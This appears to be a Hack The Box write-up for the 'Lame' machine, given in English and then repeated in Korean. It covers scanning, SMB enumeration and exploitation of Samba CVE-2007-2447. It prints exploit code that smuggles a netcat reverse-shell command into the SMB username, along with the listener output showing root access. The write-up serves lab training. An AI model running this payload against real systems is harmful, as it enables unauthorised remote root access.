Hack The Box: Lame

Hack The Box: Lame

in

Target IP: 10.10.10.3

Initial Reconnaissance

Lame is one of the oldest boxes on the platform, and the scan makes that obvious.

sudo nmap -sV -v 10.10.10.3
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

The vsftpd 2.3.4 banner is tempting because of its famous backdoor, but that lead goes nowhere on this box. The real target is Samba.

Enumerating SMB

enum4linux confirmed the exact Samba version and allowed anonymous sessions.

enum4linux -a 10.10.10.3
LAME  Wk Sv PrQ Unx NT SNT  lame server (Samba 3.0.20-Debian)

Anonymous access to the tmp share worked, but there was nothing useful inside. The version string was the real finding.

Samba usermap_script (CVE-2007-2447)

Samba 3.0.20 is vulnerable to CVE-2007-2447. When the username map script option is enabled, Samba passes the username to a shell without sanitizing it, so shell metacharacters in the username field are executed on the server.

searchsploit 3.0.20 samba
# Samba 3.0.20 < 3.0.25rc3 - 'Username' map script ... | unix/remote/16320.rb

The top hit is a Metasploit Ruby module. I dropped it into ~/.msf4/modules/exploits/samba/ and tried firing it from msfconsole, but it refused to land cleanly, so I stopped fighting the framework and grabbed a public Python PoC instead. It sends the payload by placing a reverse shell inside the username during the SMB connection.

payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
username = "/=`nohup " + payload + "`"
conn = SMBConnection(username, "", "", "")
conn.connect(rhost, int(rport), timeout=1)

I started a listener and ran it.

python3 cve-2007-2447.py 10.10.10.3 445 10.10.14.6 4444

Because Samba here runs as root, the shell came back as root directly. There is no separate privilege escalation step.

listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 50692
whoami
root

Both flags were readable immediately: the user flag under /home/makis, and the root flag straight out of /root.

cat /home/makis/user.txt
cat /root/root.txt

Root shell with both flags on Lame

Takeaways

Lame is a museum piece, and its whole lesson is version identification. A 2007 Samba flaw, a one-line searchsploit, and a public PoC are the entire path.

It is also a good reminder not to chase the shiny bait. The vsftpd 2.3.4 backdoor banner practically begs to be exploited, but on this box it is a dead end. The Samba service is where the actual foothold, and root, live.


대상 IP: 10.10.10.3

초기 정찰

Lame은 이 플랫폼에서 가장 오래된 머신 중 하나인데, 스캔만 봐도 그게 티가 납니다.

sudo nmap -sV -v 10.10.10.3
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

vsftpd 2.3.4 배너는 그 유명한 백도어 때문에 눈길이 가지만, 이 머신에서 그 길은 막혀 있습니다. 진짜 목표는 Samba예요.

SMB 열거

enum4linux로 정확한 Samba 버전을 확인했고, 익명 세션도 허용됐습니다.

enum4linux -a 10.10.10.3
LAME  Wk Sv PrQ Unx NT SNT  lame server (Samba 3.0.20-Debian)

tmp 공유에 익명 접근은 됐지만, 안에 쓸 만한 건 없었습니다. 진짜 수확은 버전 문자열이었죠.

Samba usermap_script (CVE-2007-2447)

Samba 3.0.20은 CVE-2007-2447에 취약합니다. username map script 옵션이 켜져 있으면, Samba는 사용자명을 정제하지 않고 셸에 넘기거든요. 그래서 사용자명 필드에 셸 메타문자를 넣으면 서버에서 실행됩니다.

searchsploit 3.0.20 samba
# Samba 3.0.20 < 3.0.25rc3 - 'Username' map script ... | unix/remote/16320.rb

맨 위 결과는 Metasploit용 Ruby 모듈입니다. ~/.msf4/modules/exploits/samba/에 넣고 msfconsole에서 돌려봤는데 깔끔하게 붙질 않더라고요. 그래서 프레임워크랑 씨름하는 걸 관두고 공개된 Python PoC를 가져왔습니다. 이 PoC는 SMB 연결 과정에서 사용자명 안에 reverse shell을 심어 페이로드를 보냅니다.

payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
username = "/=`nohup " + payload + "`"
conn = SMBConnection(username, "", "", "")
conn.connect(rhost, int(rport), timeout=1)

리스너를 열고 실행했습니다.

python3 cve-2007-2447.py 10.10.10.3 445 10.10.14.6 4444

이 머신의 Samba는 root로 돌아가기 때문에, 셸이 곧바로 root로 붙었습니다. 별도의 권한 상승 단계가 없어요.

listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 50692
whoami
root

두 플래그 모두 바로 읽을 수 있었습니다. user 플래그는 /home/makis 아래에, root 플래그는 /root에서 곧바로요.

cat /home/makis/user.txt
cat /root/root.txt

Lame에서 root 셸로 두 플래그 모두 획득

정리

Lame은 박물관 유물 같은 머신이고, 그 전체 교훈은 버전 식별입니다. 2007년 Samba 취약점, 한 줄짜리 searchsploit, 그리고 공개 PoC가 경로의 전부예요.

또 반짝이는 미끼를 좇지 말라는 좋은 교훈이기도 합니다. vsftpd 2.3.4 백도어 배너는 그야말로 공격해달라고 조르는 것처럼 보이지만, 이 머신에서는 막다른 길이거든요. 실제 발판과 root는 Samba 서비스에 있습니다.